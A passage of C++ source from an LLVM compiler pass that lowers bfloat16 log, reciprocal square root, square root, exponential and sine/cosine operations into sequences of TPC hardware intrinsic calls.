Intrinsic, {Mul1, Convert1, Sw1, Sw2, Mul1, CmpEq1, Polarity});\n\n // %23 = tail call <128 x bfloat> @llvm.tpc.fclass...(<128 x bfloat> %2,)\n Types = {Bfloat128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto Fclass1 = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw1, Sw2, UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %24 = tail call <128 x bfloat> @llvm.tpc.calc.fp.special...((<128 x bfloat>\n // %23, <128 x bfloat> undef, i8 1, i32 3, <128 x bfloat> %22,)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto FPSpecial = Builder.CreateCall(\n Intrinsic, {Fclass1, UndefValue::get(Bfloat128Type), Sw1,\n ConstantInt::get(I32Type, 3), Add11, Predicate, Polarity});\n\n // %25 = fmul <128 x bfloat> %24, <bfloat 0xH3F31,...\n auto Final = Builder.CreateFMul(\n FPSpecial, ConstantVector::getSplat(128, getBfloatValue(0.69314718)));\n InstrToReplace->replaceAllUsesWith(Final);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16ReciprocalSqrtWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n\n IRBuilder<> Builder(InstrToReplace);\n // %2 = tail call <128 x bfloat> @llvm.tpc.ld.tnsr.v128bf16.i1...\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw1 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <128 x i16> @llvm.tpc.extract.exp.v128i16.v128bf16.i1(<128 x\n // bfloat> %2,...\n SmallVector<Type *, 8> Types = {Bfloat128Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Short128Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw1, Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %4 = tail call <128 x i16> @llvm.tpc.and.v128i16.v128i16.i16.i1(<128 x i16>\n // %3, i16 1, i8 8,...\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_and, FType), FType)\n .getCallee());\n auto AndShort128 = Builder.CreateCall(\n Intrinsic,\n {ExtractExp, ConstantInt::get(I16Type, 1), ConstantInt::get(I8Type, 8),\n Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %5 = tail call <128 x i16> @llvm.tpc.shr.v128i16.i16.i1(<128 x i16> %3, i16\n // 1, i8 8,...\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_shr, FType), FType)\n .getCallee());\n auto ShrShort128 = Builder.CreateCall(\n Intrinsic,\n {ExtractExp, ConstantInt::get(I16Type, 1), ConstantInt::get(I8Type, 8),\n Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %6 = bitcast <128 x i16> %4 to <128 x bfloat>\n auto BitCastShort128 = Builder.CreateBitCast(AndShort128, Bfloat128Type);\n\n // %7 = tail call <128 x bfloat>\n // @llvm.tpc.form.fp.num.v128bf16.v128bf16.i1(<128 x bfloat> %6, <128 x\n // bfloat> %2, <128 x bfloat> %2, i8 1,...\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP1 = Builder.CreateCall(\n Intrinsic,\n {BitCastShort128, Operand, Operand, Sw1, ConstantInt::get(I32Type, 2304),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %8 = tail call <256 x i16> @llvm.tpc.get.lut.entry.v256i16.v128bf16.i1(<128\n // x bfloat> %7, i8 4, i8 1, i32 16384, <256 x i16> undef, i1 true, i1 false)\n Types = {Bfloat128Type, I8Type, I8Type, I32Type,\n Short256Type, I1Type, I1Type};\n FType = FunctionType::get(Short256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry1 = Builder.CreateCall(\n Intrinsic, {FormFP1, ConstantInt::get(I8Type, 4),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 16384),\n UndefValue::get(Short256Type), Predicate, Polarity});\n\n // %9 = shufflevector <256 x i16> %8, <256 x i16> undef, <128 x i32> <i32\n // 0..128\n auto Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffle1 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask);\n\n // %10 = shufflevector <256 x i16> %8, <256 x i16> undef, <128 x i32> <i32\n // 128..255\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto Shuffle2 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask);\n\n // %11 = bitcast <128 x i16> %10 to <128 x bfloat>\n auto BitCast128ShortToFloat = Builder.CreateBitCast(Shuffle2, Bfloat128Type);\n\n // %12 = fsub <128 x bfloat> %7, %11\n auto Sub1 = Builder.CreateFSub(FormFP1, BitCast128ShortToFloat);\n\n // %13 = tail call <256 x bfloat> @llvm.tpc.lookup.2c.v256bf16.v128i16(<128 x\n // i16> %9, i32 384, i32 1, <256 x bfloat> zeroinitializer, i1 true, i1 false)\n Types = {Short128Type, I32Type, I32Type, Bfloat256Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffle1, ConstantInt::get(I32Type, 384), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat256Type), Predicate, Polarity});\n\n // %C1C2.sroa.0.256.vec.extract.i = shufflevector <256 x bfloat> %13, <256 x\n // bfloat> undef, <128 x i32>\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto Shuffle3 = Builder.CreateShuffleVector(\n Lookup1, UndefValue::get(Bfloat256Type), Mask);\n\n // %C1C2.sroa.0.0.vec.extract.i = shufflevector <256 x bfloat> %13, <256 x\n // bfloat> undef, <128 x i32>\n Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffle4 = Builder.CreateShuffleVector(\n Lookup1, UndefValue::get(Bfloat256Type), Mask);\n\n // %14 = tail call <128 x bfloat> @llvm.tpc.mac.v128bf16.v128bf16.i1(<128 x\n // bfloat> %C1C2.sroa.0.256.vec.extract.i, <128 x bfloat> %12, i8 1, i32 0,\n // <128 x bfloat> %C1C2.sroa.0.0.vec.extract.i, i1 true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic, {Shuffle3, Sub1, ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 0), Shuffle4, Predicate, Polarity});\n\n // %15 = tail call <128 x i16> @llvm.tpc.extract.exp.v128i16.v128bf16.i1(<128\n // x bfloat> %14, i8 1, i32 1, <128 x i16> undef, i1 true, i1 false)\n Types = {Bfloat128Type, I8Type, I32Type, Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp1 = Builder.CreateCall(\n Intrinsic, {Mac1, Sw1, ConstantInt::get(I32Type, 1),\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %16 = sub <128 x i16> %15, %5\n auto Sub2 = Builder.CreateSub(ExtractExp1, ShrShort128);\n\n // %17 = bitcast <128 x i16> %16 to <128 x bfloat>\n BitCastShort128 = Builder.CreateBitCast(Sub2, Bfloat128Type);\n\n // %18 = tail call <128 x bfloat>\n // @llvm.tpc.form.fp.num.v128bf16.v128bf16.i1(<128 x bfloat> %17, <128 x\n // bfloat> %14, <128 x bfloat> %14, i8 1, i32 2560, <128 x bfloat> undef, i1\n // true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP2 = Builder.CreateCall(\n Intrinsic,\n {BitCastShort128, Mac1, Mac1, Sw1, ConstantInt::get(I32Type, 2560),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %19 = tail call <128 x bfloat> @llvm.tpc.fclass.v128bf16.i1(<128 x bfloat>\n // %2, i8 1, i32 0, <128 x bfloat> undef, i1 true, i1 false)\n Types = {Bfloat128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto Fclass = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw1, Sw2, UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %20 = tail call <128 x bfloat> @llvm.tpc.calc.fp.special.v128bf16.i1(<128 x\n // bfloat> %19, <128 x bfloat> undef, i8 1, i32 1, <128 x bfloat> %18, i1\n // true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto FPSpecial = Builder.CreateCall(\n Intrinsic, {Fclass, UndefValue::get(Bfloat128Type), Sw1,\n ConstantInt::get(I32Type, 1), FormFP2, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(FPSpecial);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16SqrtWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw1 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <128 x bfloat> @llvm.tpc.fclass.v128bf16...<128 x bfloat>\n // %2,\n SmallVector<Type *, 6> Types{Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Bfloat128Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto Fclass = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw1, Sw2, UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %4 = tail call <128 x i16> @llvm.tpc.extract.exp...<128 x bfloat> %2,...\n Types = {Bfloat128Type, I8Type, I32Type, Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw1, Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %5 = tail call <128 x i16> @llvm.tpc.and.v128i16...<128 x i16> %4, i16 1,\n // i8 8,...\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_and, FType), FType)\n .getCallee());\n auto AndShort128 = Builder.CreateCall(\n Intrinsic,\n {ExtractExp, ConstantInt::get(I16Type, 1), ConstantInt::get(I8Type, 8),\n Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %6 = tail call <128 x i16> @llvm.tpc.shr...<128 x i16> %4, i16 1, i8 8,...\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_shr, FType), FType)\n .getCallee());\n auto ShrShort128 = Builder.CreateCall(\n Intrinsic,\n {ExtractExp, ConstantInt::get(I16Type, 1), ConstantInt::get(I8Type, 8),\n Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %7 = bitcast <128 x i16> %5 to <128 x bfloat>\n auto BitCastShort128 = Builder.CreateBitCast(AndShort128, Bfloat128Type);\n\n // %8 = tail call <128 x bfloat> @llvm.tpc.form.fp..(<128 x bfloat> %7, <128 x\n // bfloat> %2, <128 x bfloat> %2, i8 1,\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP1 = Builder.CreateCall(\n Intrinsic,\n {BitCastShort128, Operand, Operand, Sw1, ConstantInt::get(I32Type, 2304),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %9 = tail call <256 x i16> @llvm.tpc.get.lut.entry..(<128 x bfloat> %8, i8\n // 1, i8 1, i32 16384)\n Types = {Bfloat128Type, I8Type, I8Type, I32Type,\n Short256Type, I1Type, I1Type};\n FType = FunctionType::get(Short256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry1 = Builder.CreateCall(\n Intrinsic, {FormFP1, ConstantInt::get(I8Type, 1),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 16384),\n UndefValue::get(Short256Type), Predicate, Polarity});\n\n // %10 = shufflevector <256 x i16> %9, <256 x i16> undef, <128 x i32> <i32\n // 0..128\n auto Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffe1 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask);\n\n // %11 = tail call <128 x bfloat> @llvm.tpc.lookup.1c...<128 x i16> %10, i32\n // 276, i32 1,\n Types = {Short128Type, I32Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffe1, ConstantInt::get(I32Type, 276), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat128Type), Predicate, Polarity});\n\n // %12 = tail call <128 x i16> @llvm.tpc.extract.exp...<128 x bfloat> %11, i8\n // 1, i32 1\n Types = {Bfloat128Type, I8Type, I32Type, Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp1 = Builder.CreateCall(\n Intrinsic, {Lookup1, Sw1, ConstantInt::get(I32Type, 1),\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %13 = add <128 x i16> %12, %6\n auto Add1 = Builder.CreateAdd(ExtractExp1, ShrShort128);\n\n // %14 = bitcast <128 x i16> %13 to <128 x bfloat>\n auto BitCastShort1281 = Builder.CreateBitCast(Add1, Bfloat128Type);\n\n // %15 = tail call <128 x bfloat> @llvm.tpc.form.fp.num...<128 x bfloat> %14,\n // <128 x bfloat> %11, <128 x bfloat> %11,\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP2 = Builder.CreateCall(\n Intrinsic,\n {BitCastShort1281, Lookup1, Lookup1, Sw1, ConstantInt::get(I32Type, 2560),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %16 = tail call <128 x bfloat> @llvm.tpc.calc.fp.special...\n // <128 x bfloat> %3, <128 x bfloat> undef, i8 1, i32 2, <128 x bfloat> %15,\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto FPSpecial = Builder.CreateCall(\n Intrinsic, {Fclass, UndefValue::get(Bfloat128Type), Sw1,\n ConstantInt::get(I32Type, 2), FormFP2, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(FPSpecial);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16ExpWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw11 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <128 x bfloat> @llvm.tpc.mac...<128 x bfloat> %2, <128 x\n // bfloat> <bfloat 1.4453125... <128 x bfloat> <bfloat 0.5...\n SmallVector<Type *, 6> Types{Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Bfloat128Type, Types, false);\n auto Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic,\n {Operand, ConstantVector::getSplat(128, getBfloatValue(1.4453125)), Sw11,\n Sw2, ConstantVector::getSplat(128, getBfloatValue(0.5)), Predicate,\n Polarity});\n\n // %4 = tail call <128 x bfloat> @llvm.tpc.nearbyint...<128 x bfloat> %3, i8\n // 1, i32 198400\n Types = {Bfloat128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_nearbyint, FType), FType)\n .getCallee());\n auto Nearby = Builder.CreateCall(\n Intrinsic, {Mac1, Sw11, ConstantInt::get(I32Type, 196608),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %5 = tail call <128 x i16> @llvm.tpc.convert...<128 x bfloat> %4, i8 1, i32\n // 198464,\n Types = {Bfloat128Type, I8Type, I32Type, Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto Convert1 = Builder.CreateCall(\n Intrinsic, {Nearby, Sw11, ConstantInt::get(I32Type, 198400),\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %6 = tail call <128 x bfloat> @llvm.tpc.mac...<128 x bfloat> %4, <128 x\n // bfloat> <bfloat -0.6875..> <128 x bfloat> %2\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac2 = Builder.CreateCall(\n Intrinsic,\n {Nearby, ConstantVector::getSplat(128, getBfloatValue(-0.6875)), Sw11,\n Sw2, Operand, Predicate, Polarity});\n\n // %7 = tail call <128 x bfloat> @llvm.tpc.mac...<128 x bfloat> %4, <128 x\n // bfloat> <bfloat -0.00564575195> <128 x bfloat> %6\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac3 = Builder.CreateCall(\n Intrinsic,\n {Nearby, ConstantVector::getSplat(128, getBfloatValue(-0.00564575195)),\n Sw11, Sw2, Mac2, Predicate, Polarity});\n\n // %8 = tail call <128 x bfloat> @llvm.tpc.sel.leq...(<128 x bfloat> %2,\n // bfloat 0xc2af, <128 x bfloat> <bfloat 0xff80...> <128 x bfloat> %2,\n Types = {Bfloat128Type, BF16Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_leq, FType),\n FType)\n .getCallee());\n auto SelLeq = Builder.CreateCall(\n Intrinsic,\n {Operand, getBfloatValue(-87.3365479),\n ConstantVector::getSplat(128, ConstantFP::getInfinity(BF16Type, true)),\n Operand, Sw11, Sw2, UndefValue::get(Bfloat128Type), Predicate,\n Polarity});\n\n // %9 = tail call <128 x bfloat> @llvm.tpc.sel.gr...(<128 x bfloat> %8, bfloat\n // 0x42B1, <128 x bfloat> <bfloat 0x7F80>) <128 x bfloat> %8\n Types = {Bfloat128Type, BF16Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType),\n FType)\n .getCallee());\n auto SelGrt = Builder.CreateCall(\n Intrinsic,\n {SelLeq, getBfloatValue(88.7228394),\n ConstantVector::getSplat(128, ConstantFP::getInfinity(BF16Type, false)),\n SelLeq, Sw11, Sw2, UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %10 = tail call <128 x bfloat> @llvm.tpc.add...<128 x bfloat> %7, bfloat\n Types = {Bfloat128Type, BF16Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_add, FType), FType)\n .getCallee());\n auto Add1 = Builder.CreateCall(\n Intrinsic, {Mac3, getBfloatValue(1.5), Sw11, Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %11 = bitcast <128 x bfloat> %10 to <128 x i16>\n auto BitCast1 = Builder.CreateBitCast(Add1, Short128Type);\n\n // %12 = tail call <128 x i16> @llvm.tpc.sub...<128 x i16> %11, i16 16199, i8\n // 8, i32 1\n Types = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sub, FType), FType)\n .getCallee());\n auto Sub1 = Builder.CreateCall(\n Intrinsic, {BitCast1, ConstantInt::get(I16Type, 16199),\n ConstantInt::get(I8Type, 8), ConstantInt::get(I32Type, 1),\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %13 = tail call <128 x bfloat> @llvm.tpc.lookup.1c...<128 x i16> %12, i32\n // 138, i32 1, <128 x bfloat> zeroinitializer\n Types = {Short128Type, I32Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Sub1, ConstantInt::get(I32Type, 138), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat128Type), Predicate, Polarity});\n\n // %14 = shl <128 x i16> %5, <i16 7,...\n auto Shl1 = Builder.CreateShl(\n Convert1, ConstantVector::getSplat(128, ConstantInt::get(I16Type, 7)));\n\n // %15 = bitcast <128 x bfloat> %13 to <128 x i16>\n auto BitCast2 = Builder.CreateBitCast(Lookup1, Short128Type);\n\n // %16 = add <128 x i16> %14, %15\n auto Add2 = Builder.CreateAdd(Shl1, BitCast2);\n\n // %17 = bitcast <128 x i16> %16 to <128 x bfloat>\n auto BitCast3 = Builder.CreateBitCast(Add2, Bfloat128Type);\n\n // %18 = tail call <128 x bfloat> @llvm.tpc.fclass...<128 x bfloat> %9, i8 1,\n // i32 0,\n Types = {Bfloat128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto Fclass = Builder.CreateCall(\n Intrinsic,\n {SelGrt, Sw11, Sw2, UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %19 = tail call <128 x bfloat> @llvm.tpc.calc.fp.special...\n // <128 x bfloat> %18, <128 x bfloat> undef, i8 1, i32 4, <128 x bfloat> %17\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto FPSpecial = Builder.CreateCall(\n Intrinsic, {Fclass, UndefValue::get(Bfloat128Type), Sw11,\n ConstantInt::get(I32Type, 4), BitCast3, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(FPSpecial);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceSinCosWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace, int SinCond) {\n\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n auto Ty = Operand->getType();\n SmallVector<Type *, 9> Types{Ty,\n F32Type,\n Ty,\n Ty,\n IntegerType::get(M.getContext(), 8),\n IntegerType::get(M.getContext(), 32),\n Ty,\n I1Type,\n I1Type};\n FunctionType *FType = FunctionType::get(Ty, Types, false);\n Function *Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType), FType)\n .getCallee());\n auto ConstOne = ConstantFP::get(F32Type, 1.0);\n auto ConstNegOne = ConstantFP::get(F32Type, -1.0);\n auto SelGrtRes = Builder.CreateCall(\n Intrinsic,\n {Operand, ConstantFP::get(F32Type, 0.0),\n ConstantVector::getSplat(64, ConstOne),\n ConstantVector::getSplat(64, ConstNegOne),\n llvm::ConstantInt::get(IntegerType::get(M.getContext(), 8), 0),\n llvm::ConstantInt::get(IntegerType::get(M.getContext(), 32), 0),\n UndefValue::get(Float64Type), llvm::ConstantInt::get(I1Type, 1),\n llvm::ConstantInt::getFalse(M.getContext())});\n\n // Begin SIN_COS_CALC(0)\n auto FType0 = FunctionType::get(Float64Type, {Operand->getType()}, false);\n auto Intrinsic0 = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::fabs, FType0),\n FType0)\n .getCallee());\n auto FabsRes = Builder.CreateCall(Intrinsic0, {Operand});\n\n auto op0Mul = FabsRes;\n auto op1Mul = ConstantFP::get(Operand->getType(), 1.27323949);\n auto MulRes = 